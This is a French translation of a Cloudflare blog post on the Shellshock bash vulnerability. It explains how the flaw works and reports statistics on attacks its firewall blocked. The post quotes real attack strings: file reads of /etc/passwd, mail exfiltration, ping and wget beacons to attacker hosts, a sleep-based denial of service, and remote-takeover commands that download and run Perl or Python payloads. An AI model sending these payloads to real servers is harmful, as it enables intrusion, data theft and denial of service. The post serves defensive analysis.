Mercredi de la semaine dernière, les détails du bug de Shellshock bash sont apparus. Ce bogue a déclenché une ruée vers les ordinateurs, les serveurs, les routeurs, les pare-feu et d’autres appareils informatiques utilisant des versions vulnérables de bash.

CloudFlare a immédiatement déployé la protection pour les clients Professionnels, Professionnels et Professionnels via notre Pare-feu d’applications Web. Dimanche, après avoir étudié l’ampleur du problème et examiné les journaux d’attaques stoppées par notre WAF, nous avons décidé de déployer également une protection pour nos clients du plan gratuit.

Depuis, nous surveillons les attaques que nous avons arrêtées afin de comprendre à quoi elles ressemblent et d’où elles viennent. Sur la base de nos observations, il est clair que les pirates exploitent Shellshock dans le monde entier.

(CC BY 2.0 aussiegall)

Eject

Le problème Shellshock est un exemple de vulnérabilité d’exécution de code arbitraire (ACE). En règle générale, les attaques de vulnérabilité ACE sont exécutées sur des programmes en cours d’exécution et nécessitent une compréhension très sophistiquée des éléments internes de l’exécution du code, de la disposition de la mémoire et du langage d’assemblage — en bref, ce type d’attaque nécessite un expert.

L’attaquant utilisera également une vulnérabilité ACE pour télécharger ou exécuter un programme qui lui donne un moyen simple de contrôler la machine ciblée. Ceci est souvent réalisé en exécutant un « shell ». Un shell est une ligne de commande où les commandes peuvent être entrées et exécutées.

La vulnérabilité Shellshock est un problème majeur car elle supprime le besoin de connaissances spécialisées et fournit un moyen simple (malheureusement, très simple) de prendre le contrôle d’un autre ordinateur (tel qu’un serveur Web) et de le faire exécuter du code.

Supposons un instant que vous vouliez attaquer un serveur Web et ouvrir son lecteur de CD ou de DVD. Il y a en fait une commande sur Linux qui fera cela : /bin/eject. Si un serveur Web est vulnérable au Shellshock, vous pouvez l’attaquer en ajoutant la chaîne magique () { :; };/bin/eject, puis en envoyant cette chaîne à l’ordinateur cible via HTTP. Normalement, la chaîne User-Agent identifierait le type de navigateur que vous utilisez, mais, dans le cas de la vulnérabilité Shellshock, elle peut être définie pour dire n’importe quoi.

Par exemple, si example.com était vulnérable alors

curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/

serait suffisant pour éjecter réellement le lecteur de CD ou de DVD.

En surveillant les attaques Shellshock que nous avons bloquées, nous avons effectivement vu quelqu’un tenter précisément cette attaque. Donc, si vous exécutez un serveur Web et que vous trouvez soudainement un DVD éjecté, cela peut indiquer que votre machine est vulnérable aux Shellshock.

Pourquoi cette attaque simple fonctionne

Lorsqu’un serveur Web reçoit une demande pour une page, il y a trois parties de la demande qui peuvent être sensibles à l’attaque Shellshock: l’URL de la demande, les en-têtes envoyés avec l’URL et ce qu’on appelle des « arguments » (lorsque vous entrez votre nom et votre adresse sur un site Web, ils seront généralement envoyés en tant qu’arguments dans la demande).

Par exemple, voici une requête HTTP réelle qui récupère la page d’accueil CloudFlare :

GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.com

Dans ce cas, l’URL est / (la page principale) et les en-têtes sont Accept-EncodingAccept-Language, etc. Ces en-têtes fournissent au serveur Web des informations sur les capacités de mon navigateur Web, ma langue préférée, le site Web que je recherche et le navigateur que j’utilise.

Il n’est pas rare que celles-ci soient transformées en variables à l’intérieur d’un serveur Web afin que le serveur Web puisse les examiner. (Le serveur Web peut vouloir savoir quelle est ma langue préférée pour pouvoir décider comment me répondre).

Par exemple, à l’intérieur du serveur Web répondant à la requête pour la page d’accueil CloudFlare, il est possible que les variables suivantes soient définies en copiant les en-têtes de requête caractère par caractère.

HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com

Tant que ces variables restent dans le logiciel du serveur Web et ne sont pas transmises à d’autres programmes s’exécutant sur le serveur Web, le serveur n’est pas vulnérable.

Shellshock se produit lorsque les variables sont passées dans le shell appelé « bash ». Bash est un shell commun utilisé sur les systèmes Linux. Les serveurs Web ont souvent besoin d’exécuter d’autres programmes pour répondre à une demande, et il est courant que ces variables soient transmises à bash ou à un autre shell.

Le problème de Shellshock se produit spécifiquement lorsqu’un attaquant modifie la requête HTTP d’origine pour contenir la chaîne magique () { :; }; décrite ci-dessus.

Supposons que l’attaquant change l’en-tête de l’agent utilisateur ci-dessus de Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 en simplement () { :; }; /bin/eject. Cela crée la variable suivante dans un serveur Web:

HTTP_USER_AGENT=() { :; }; /bin/eject

Si cette variable est transmise à bash par le serveur Web, le problème de Shellshock se produit. En effet, bash a des règles spéciales pour gérer une variable commençant par () { :; };. Plutôt que de traiter la variable HTTP_USER_AGENT comme une séquence de caractères sans signification particulière, bash l’interprétera comme une commande à exécuter (j’ai omis les explications profondément techniques de la raison pour laquelle () { :; }; fait que bash se comporte comme ceci pour des raisons de clarté dans cet essai.)

Le problème est que HTTP_USER_AGENT provient de l’en-tête User-Agent qui est quelque chose qu’un attaquant contrôle car il entre dans le serveur Web dans une requête HTTP. Et c’est une recette pour un désastre car un attaquant peut faire exécuter à un serveur vulnérable n’importe quelle commande qu’il souhaite (voir les exemples ci-dessous).

La solution consiste à mettre à niveau bash vers une version qui n’interprète pas () { :; }; d’une manière spéciale.

D’où proviennent les attaques

Lorsque nous avons déployé la protection pour tous les clients, nous avons mis en place une métrique qui nous a permis de surveiller le nombre d’attaques par Shellshock tentées. Ils ont tous reçu un code d’erreur interdit HTTP 403, mais nous avons gardé un journal de la date à laquelle ils se sont produits et des informations de base sur l’attaque.

Ce graphique montre le nombre d’attaques par seconde sur le réseau CloudFlare depuis le déploiement de la protection pour tous les clients.

À partir du moment où CloudFlare a activé notre protection Shellshock jusqu’à tôt ce matin, nous avons vu 10 à 15 attaques par seconde. Par ordre de volume d’attaque, ces demandes provenaient de la France (80%), des États-Unis (7%), des Pays-Bas (7%), puis de volumes plus petits de nombreux autres pays.

Vers 01h00 Pacifique (10h00 à Paris), les attaques en provenance de France ont cessé. Nous voyons actuellement environ 5 attaques par seconde. Au moment d’écrire ces lignes, nous avons bloqué plus de 1,1 million d’attaques par Shellshock.

Laissez libre cours à votre imagination

Comme il est si facile d’attaquer les machines vulnérables avec Shellshock, et parce qu’une machine vulnérable exécutera n’importe quelle commande qui lui est envoyée, les attaquants ont laissé libre cours à leur imagination avec des moyens de manipuler les ordinateurs à distance.

Le WAF de CloudFlare enregistre la raison pour laquelle il a bloqué une requête nous permettant d’extraire et d’analyser les chaînes Shellshock utilisées. Shellshock est principalement utilisé pour la reconnaissance: pour extraire des informations privées et pour permettre aux attaquants de prendre le contrôle des serveurs.

La plupart des commandes Shellshock sont injectées à l’aide des en-têtes HTTP User-Agent et Referer, mais les attaquants utilisent également des arguments GET et POST et d’autres en-têtes HTTP aléatoires.

Pour extraire des informations privées, les attaquants utilisent quelques techniques. Les attaques d’extraction les plus simples se présentent sous la forme suivante:

() {:;}; /bin/cat /etc/passwd

Qui lit le fichier de mot de passe /etc/passwd, et l’ajoute à la réponse du serveur Web. Ainsi, un attaquant injectant ce code via la vulnérabilité Shellshock verrait le fichier de mot de passe déversé sur son écran lors du retour de la page Web.

En une seule attaque, ils se contentent d’envoyer des fichiers privés par e-mail. Pour obtenir des données par e-mail, les attaquants utilisent la commande mail comme ceci :

() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l' 

Cette commande exécute d’abord whoami pour connaître le nom de l’utilisateur exécutant le serveur Web. C’est particulièrement utile car si le serveur Web est exécuté en tant que root (le superutilisateur qui peut tout faire), le serveur sera une cible particulièrement riche.

Il envoie ensuite le nom d’utilisateur avec le nom du site Web attaqué (example.com ci-dessus) par e-mail. Le nom du site Web apparaît dans la ligne d’objet de l’e-mail.

À loisir, l’attaquant peut se connecter à son e-mail et découvrir quels sites étaient vulnérables. La même technique d’e-mail peut être utilisée pour extraire des données comme le fichier de mot de passe.

(CC PAR 2.0 JD Hancock)

Reconnaissance

De loin l’attaque la plus populaire que nous ayons vue (environ 83% de toutes les attaques) est appelée « reconnaissance”. Dans les attaques de reconnaissance, l’attaquant envoie une commande qui enverra un message à une machine tierce. La machine tierce compilera ensuite une liste de toutes les machines vulnérables qui l’ont contactée.

Dans le passé, nous avons vu des listes de machines compromises transformées en réseaux de zombies à des fins DDoS, de spam ou à d’autres fins.

Une technique de reconnaissance populaire utilise la commande ping pour qu’une machine vulnérable envoie un seul paquet (appelé ping) à un serveur tiers que l’attaquant contrôle. La chaîne d’attaque ressemble à ceci :

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

La commande ping est normalement utilisée pour tester si une machine est « vivante” ou en ligne (une machine vivante répond avec son propre ping). Si un serveur Web est vulnérable au Shellshock, il enverra un seul paquet ping (le -c 1) à la machine attaquante.avec une charge utile définie par -p. La charge utile est un identifiant unique créé par l’attaquant afin qu’il puisse remonter le ping vers le site Web vulnérable.

Une autre technique utilisée pour identifier les serveurs vulnérables consiste à faire en sorte que le serveur Web télécharge une page Web à partir d’une machine contrôlée par un attaquant. L’attaquant peut ensuite consulter les journaux de son serveur Web pour savoir quelle machine était vulnérable. Cette attaque fonctionne en envoyant une chaîne Shellshock comme:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

L’attaquant regarde dans le journal du serveur web de attacker-controlled.com pour les entrées. La page téléchargée est configurée par l’attaquant pour révéler le nom du site attaqué. Le ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== est en fait un code indiquant que le site attaqué était example.com .

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== est en fait une chaîne codée en base64. Lorsqu’il est décodé, il lit:

example.comShellShockSalt

À partir de cette chaîne, l’attaquant peut savoir si son attaque est par exemple.com a réussi, et, si c’est le cas, ils peuvent ensuite revenir plus tard pour exploiter davantage ce site. Bien que j’aie substitué le domaine qui était la cible, nous voyons de vrais exemples dans la nature en utilisant ShellShockSalt comme sel dans le hachage.

Déni de service

Une autre attaque Shellshock utilise cette chaîne

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

Elle tente d’exécuter la commande sleep de trois manières différentes (étant donné que les systèmes ont des configurations légèrement différentes, le sommeil peut être trouvé dans les répertoires /bin div> ou /sbin ou /usr/bin). Quel que soit le sommeil qu’il exécute, le serveur doit attendre 20 secondes avant de répondre. Cela consommera des ressources sur la machine car un thread ou un processus exécutant sleep ne fera rien d’autre pendant 20 secondes.

C’est peut-être le déni de service le plus simple de tous. Les attaquants disent simplement à la machine de dormir pendant un moment. Envoyez suffisamment de ces commandes, et la machine pourrait être empêchée de ne rien faire et incapable de traiter les demandes légitimes.

(CC BY 2.0 peter castleton)

Prise de contrôle

Environ 8% des attaques que nous avons vues jusqu’à présent visaient à prendre directement le contrôle d’un serveur. Les attaques de contrôle à distance ressemblent à ceci :

() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"

Cette commande essaie d’utiliser deux programmes (wget et curl) pour télécharger un programme à partir d’un serveur que l’attaquant contrôle. Le programme est écrit en langage Perl et une fois téléchargé, il est immédiatement exécuté. Ce programme configure l’accès à distance d’un attaquant au serveur Web vulnérable.

Une autre attaque utilise le langage Python pour configurer un programme qui peut être utilisé pour exécuter à distance n’importe quelle commande sur la machine vulnérable:

() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"

Le programme cl.py téléchargé ressemble à une mise à jour du programme antivirus ClamAV. Après un délai de 5 secondes, l’attaque se nettoie après elle-même en supprimant le fichier téléchargé (le laissant en cours d’exécution uniquement en mémoire).

(CC BY 2.0 Jeff Taylor)

Sélection de la cible

En regardant les sites Web attaqués et les URL demandées, il est possible de faire une estimation éclairée des applications Web spécifiques attaquées.

Les URL les plus attaquées sont :/(23.00%), /cgi-bin-sdb/printenv (15,12%), /cgi-mod/index.cgi (14,93%), /cgi-sys /entropysearch.cgi (15,20%) et /cgi-sys/defaultwebpage.cgi (14,59%). Certaines de ces URL sont utilisées par des applications Web populaires et même une appliance matérielle.

Il apparaît que 23% des attaques sont dirigées contre le logiciel de contrôle de l’hébergement Web cPanel, 15% contre les anciennes installations d’Apache et 15% contre les produits matériels Barracuda qui ont une interface Web.

Ce dernier est intéressant car il met en évidence le fait que Shellshock n’est pas seulement une attaque sur des sites Web: c’est une attaque sur tout ce qui fonctionne bash et accessible sur Internet. Cela pourrait inclure des périphériques matériels, des décodeurs, des ordinateurs portables, voire, peut-être, des téléphones.